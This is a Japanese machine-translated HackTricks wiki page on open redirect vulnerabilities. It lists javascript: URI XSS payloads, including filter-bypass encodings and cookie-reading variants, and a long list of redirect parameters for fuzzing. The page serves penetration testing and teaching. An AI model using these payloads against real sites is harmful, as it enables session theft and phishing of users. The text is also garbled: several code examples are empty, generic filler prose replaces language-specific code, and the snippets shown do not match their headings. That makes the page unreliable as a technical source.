☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 - [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 - [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** - **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
# オープンリダイレクト ## ローカルホストまたは任意のドメインへのリダイレクト {% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %} [url-format-bypass.md](ssrf-server-side-request-forgery/url-format-bypass.md) {% endcontent-ref %} ## XSSへのオープンリダイレクト ```bash #Basic payload, javascript code is executed after "javascript:" javascript:alert(1) #Bypass "javascript" word filter with CRLF java%0d%0ascript%0d%0a:alert(0) #Javascript with "://" (Notice that in JS "//" is a line coment, so new line is created before the payload). URL double encoding is needed #This bypasses FILTER_VALIDATE_URL os PHP javascript://%250Aalert(1) #Variation of "javascript://" bypass when a query is also needed (using comments or ternary operator) javascript://%250Aalert(1)//?1 javascript://%250A1?alert(1):0 #Others %09Jav%09ascript:alert(document.domain) javascript://%250Alert(document.location=document.cookie) /%09/javascript:alert(1); /%09/javascript:alert(1) //%5cjavascript:alert(1); //%5cjavascript:alert(1) /%5cjavascript:alert(1); /%5cjavascript:alert(1) javascript://%0aalert(1) <>javascript:alert(1); //javascript:alert(1); //javascript:alert(1) /javascript:alert(1); /javascript:alert(1) \j\av\a\s\cr\i\pt\:\a\l\ert\(1\) javascript:alert(1); javascript:alert(1) javascripT://anything%0D%0A%0D%0Awindow.alert(document.cookie) javascript:confirm(1) javascript://https://whitelisted.com/?z=%0Aalert(1) javascript:prompt(1) jaVAscript://whitelisted.com//%0d%0aalert(1);// javascript://whitelisted.com?%a0alert%281%29 /x:1/:///%01javascript:alert(document.cookie)/ ";alert(0);// ``` # SVGファイルをアップロードすることによるオープンリダイレクト ## 概要 オープンリダイレクトは、ウェブアプリケーションの脆弱性の一つであり、攻撃者がユーザーを信じさせる偽のURLにリダイレクトさせることができます。この脆弱性は、ウェブアプリケーションが外部のURLにリダイレクトする際に、ユーザーが指定したパラメータを信用せずに使用する場合に発生します。 SVG(Scalable Vector Graphics)は、XMLベースのベクターグラフィックス形式であり、ウェブアプリケーションでよく使用されます。SVGファイルをアップロードする機能がある場合、攻撃者はSVGファイル内に悪意のあるリダイレクトURLを埋め込むことができます。 ## 攻撃手法 以下の手順に従って、SVGファイルを使用したオープンリダイレクト攻撃を実行することができます。 1. 攻撃者は、ウェブアプリケーションにSVGファイルをアップロードする機能があることを特定します。 2. 攻撃者は、SVGファイル内に悪意のあるリダイレクトURLを埋め込みます。例えば、``のようなコードを使用します。 3. 攻撃者は、悪意のあるSVGファイルをアップロードします。 4. ユーザーが攻撃者が作成したリンクやアップロードされたSVGファイルをクリックすると、攻撃者が指定した悪意のあるURLにリダイレクトされます。 ## 対策方法 オープンリダイレクト攻撃を防ぐためには、以下の対策を実施することが重要です。 - リダイレクト先のURLを信用せず、常に信頼できるURLを使用する。 - リダイレクト先のURLをユーザーが指定したパラメータから生成する場合は、入力値の検証とエスケープ処理を行う。 - ファイルのアップロード機能を提供する場合は、アップロードされたファイルの内容を検証し、信頼できる形式のみを許可する。 以上の対策を実施することで、オープンリダイレクト攻撃からウェブアプリケーションを保護することができます。 ```markup ``` # 一般的なインジェクションパラメータ An open redirect vulnerability occurs when a web application allows users to redirect to external URLs without proper validation. Attackers can exploit this vulnerability to redirect users to malicious websites, phishing pages, or other harmful destinations. Open redirect vulnerabilities often occur when a web application uses user-supplied input to construct a redirect URL. Attackers can manipulate the input to redirect users to a URL of their choice. Common injection parameters that can be exploited for open redirect attacks include: - **url**: This parameter is used to specify the target URL for redirection. Attackers can manipulate this parameter to redirect users to a malicious website. - **redirect**: Similar to the **url** parameter, this parameter is used to specify the target URL for redirection. Attackers can manipulate this parameter to redirect users to a malicious website. - **next**: This parameter is often used to specify the next page or URL to redirect users after a successful action. Attackers can manipulate this parameter to redirect users to a malicious website. - **return**: Similar to the **next** parameter, this parameter is used to specify the return URL after a successful action. Attackers can manipulate this parameter to redirect users to a malicious website. - **callback**: This parameter is commonly used in JSONP (JSON with Padding) requests to specify the callback function. Attackers can manipulate this parameter to redirect users to a malicious website. It is important for developers to properly validate and sanitize user-supplied input before using it to construct redirect URLs. Implementing proper input validation and output encoding can help prevent open redirect vulnerabilities. ``` /{payload} ?next={payload} ?url={payload} ?target={payload} ?rurl={payload} ?dest={payload} ?destination={payload} ?redir={payload} ?redirect_uri={payload} ?redirect_url={payload} ?redirect={payload} /redirect/{payload} /cgi-bin/redirect.cgi?{payload} /out/{payload} /out?{payload} ?view={payload} /login?to={payload} ?image_url={payload} ?go={payload} ?return={payload} ?returnTo={payload} ?return_to={payload} ?checkout_url={payload} ?continue={payload} ?return_path={payload} success=https://c1h2e1.github.io data=https://c1h2e1.github.io qurl=https://c1h2e1.github.io login=https://c1h2e1.github.io logout=https://c1h2e1.github.io ext=https://c1h2e1.github.io clickurl=https://c1h2e1.github.io goto=https://c1h2e1.github.io rit_url=https://c1h2e1.github.io forward_url=https://c1h2e1.github.io @https://c1h2e1.github.io forward=https://c1h2e1.github.io pic=https://c1h2e1.github.io callback_url=https://c1h2e1.github.io jump=https://c1h2e1.github.io jump_url=https://c1h2e1.github.io click?u=https://c1h2e1.github.io originUrl=https://c1h2e1.github.io origin=https://c1h2e1.github.io Url=https://c1h2e1.github.io desturl=https://c1h2e1.github.io u=https://c1h2e1.github.io page=https://c1h2e1.github.io u1=https://c1h2e1.github.io action=https://c1h2e1.github.io action_url=https://c1h2e1.github.io Redirect=https://c1h2e1.github.io sp_url=https://c1h2e1.github.io service=https://c1h2e1.github.io recurl=https://c1h2e1.github.io j?url=https://c1h2e1.github.io url=//https://c1h2e1.github.io uri=https://c1h2e1.github.io u=https://c1h2e1.github.io allinurl:https://c1h2e1.github.io q=https://c1h2e1.github.io link=https://c1h2e1.github.io src=https://c1h2e1.github.io tc?src=https://c1h2e1.github.io linkAddress=https://c1h2e1.github.io location=https://c1h2e1.github.io burl=https://c1h2e1.github.io request=https://c1h2e1.github.io backurl=https://c1h2e1.github.io RedirectUrl=https://c1h2e1.github.io Redirect=https://c1h2e1.github.io ReturnUrl=https://c1h2e1.github.io ``` ```csharp using System; using System.Web; namespace OpenRedirect { public class Redirect { public static void Main(string[] args) { string redirectUrl = "https://www.example.com"; string redirectParam = "redirectUrl"; string encodedUrl = HttpUtility.UrlEncode(redirectUrl); string redirectPath = $"https://www.example.com/redirect?{redirectParam}={encodedUrl}"; Response.Redirect(redirectPath); } } } ``` ### PHP ```php ``` ### Python ```python import urllib.parse redirect_url = "https://www.example.com" redirect_param = "redirectUrl" encoded_url = urllib.parse.quote(redirect_url) redirect_path = f"https://www.example.com/redirect?{redirect_param}={encoded_url}" print(f"Location: {redirect_path}") ``` ### Ruby ```ruby require 'cgi' redirect_url = "https://www.example.com" redirect_param = "redirectUrl" encoded_url = CGI.escape(redirect_url) redirect_path = "https://www.example.com/redirect?" + redirect_param + "=" + encoded_url puts "Location: #{redirect_path}" ``` ### Java ```java import java.net.URLEncoder; public class Redirect { public static void main(String[] args) { String redirectUrl = "https://www.example.com"; String redirectParam = "redirectUrl"; String encodedUrl = URLEncoder.encode(redirectUrl, "UTF-8"); String redirectPath = "https://www.example.com/redirect?" + redirectParam + "=" + encodedUrl; System.out.println("Location: " + redirectPath); } } ``` ### JavaScript ```javascript const redirectUrl = "https://www.example.com"; const redirectParam = "redirectUrl"; const encodedUrl = encodeURIComponent(redirectUrl); const redirectPath = `https://www.example.com/redirect?${redirectParam}=${encodedUrl}`; console.log(`Location: ${redirectPath}`); ``` ```bash response.redirect("~/mysafe-subdomain/login.aspx") ``` ### Java Javaは、オブジェクト指向プログラミング言語であり、広く使用されています。Javaは、セキュリティ、ポータビリティ、パフォーマンスの面で優れた特徴を持っています。Javaは、Webアプリケーションの開発にも広く使用されており、セキュリティの観点からも注意が必要です。 #### オープンリダイレクトの脆弱性 オープンリダイレクトは、Webアプリケーションのセキュリティ上の脆弱性の一つです。オープンリダイレクトは、攻撃者が悪意のあるURLを作成し、ユーザーを信頼できないサイトにリダイレクトすることができる脆弱性です。攻撃者は、ユーザーを偽のログインページやフィッシングサイトに誘導することができます。 #### オープンリダイレクトの攻撃手法 オープンリダイレクトの攻撃手法には、以下のようなものがあります。 - ユーザーがクリックするリンクに悪意のあるURLを埋め込む - リダイレクト先のURLを改ざんする - リダイレクト先のURLにパラメータを追加する #### オープンリダイレクトの防止策 オープンリダイレクトの脆弱性を防ぐためには、以下の対策を実施することが重要です。 - ユーザーからの入力を信頼しない - リダイレクト先のURLをホワイトリストで制限する - リダイレクト先のURLをエンコードする - セキュリティテストを実施し、脆弱性を特定して修正する オープンリダイレクトの脆弱性は、攻撃者によるユーザーの誘導やフィッシング攻撃につながる可能性があります。そのため、Webアプリケーションの開発者やセキュリティ担当者は、オープンリダイレクトの脆弱性に対して注意を払い、適切な対策を実施する必要があります。 ```bash response.redirect("http://mysafedomain.com"); ``` ### PHP #### オープンリダイレクト オープンリダイレクトは、ウェブアプリケーションのセキュリティ上の脆弱性であり、攻撃者がユーザーを信じさせるリンクを作成し、そのリンクをクリックさせることで、攻撃者が任意のURLにリダイレクトさせることができます。 オープンリダイレクトの攻撃は、主に以下のような場面で悪用されます。 - ユーザーが信頼しているウェブサイトからのリンクをクリックした場合 - ユーザーがメールやソーシャルメディアのメッセージ内のリンクをクリックした場合 攻撃者は、オープンリダイレクトを利用して、以下のような悪意のある行為を行うことができます。 - ユーザーの個人情報を盗むためにフィッシングサイトにリダイレクトする - ユーザーをマルウェアに感染させるために悪意のあるサイトにリダイレクトする - ユーザーを詐欺サイトにリダイレクトして、不正な取引を行わせる オープンリダイレクトの脆弱性を悪用するためには、以下のような攻撃ベクトルを使用することができます。 - クエリパラメーターを使用してリダイレクト先のURLを指定する - リダイレクト先のURLをユーザーの入力に基づいて構築する オープンリダイレクトの脆弱性を防ぐためには、以下の対策を実施することが重要です。 - リダイレクト先のURLをホワイトリストで制限する - リダイレクト先のURLをエンコードする - ユーザーの入力を適切に検証する オープンリダイレクトの脆弱性は、ウェブアプリケーションのセキュリティに重大なリスクをもたらすため、開発者は適切な対策を講じる必要があります。 ```php ``` # ツール * [https://github.com/0xNanda/Oralyzer](https://github.com/0xNanda/Oralyzer) # リソース [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect) では、フジングリストを見つけることができます。\ [https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html)\ [https://github.com/cujanovic/Open-Redirect-Payloads](https://github.com/cujanovic/Open-Redirect-Payloads)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 - [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 - **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**しましょう。 - **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。